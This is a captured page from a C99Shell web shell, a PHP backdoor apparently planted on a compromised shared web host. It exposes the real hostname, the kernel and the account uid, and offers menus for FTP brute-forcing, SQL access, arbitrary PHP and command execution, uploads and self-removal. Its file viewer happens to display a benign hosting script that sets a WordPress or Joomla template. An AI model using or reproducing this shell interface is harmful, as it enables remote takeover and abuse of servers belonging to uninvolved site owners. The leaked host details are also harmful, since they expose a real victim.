!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/local/ei/   drwxr-xr-x
Free 6182.07 GB of 6263.27 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ei-set-template.php (1.19 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/local/php7/bin/php
<?php
error_reporting
(-1);

require_once(
'ei-tools.php');

function 
usage() {
    return 
"\n" $GLOBALS['argv'][0] . " [script_name] [script_installation_path] [template_name]
\t - script_name --> " 
implode(', '$GLOBALS['supported_scripts']);
}

if (empty(
$argv[1])) err('Missing script name' usage());
if (empty(
$argv[2])) err('Missing installation path' usage());
if (empty(
$argv[3])) err('Missing template name' usage());

$script strtolower($argv[1]);
$path $argv[2];
$template $argv[3];

if (!
is_dir($path) || !file_exists($path))
    
err('Invalid installation path');

script_supported($script);

$config_file script_config_file($script$path);

if (!
file_exists($config_file))
    
err('Missing ' $script ' config file [' $config_file ']');

// get script details
$details get_script_config($script$config_file);

// check if template folder exists
switch($script) {
    case 
"wordpress":
        
$dir $path '/wp-content/themes/' $template;
    break;
    case 
"joomla":
        
$dir $path '/templates/' $template;
    break;
}

if (!
is_dir($dir))
    
err('Template directory is missing: ' $dir);

// set script template
set_script_template($script$template$details);

echo 
1;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0095 ]--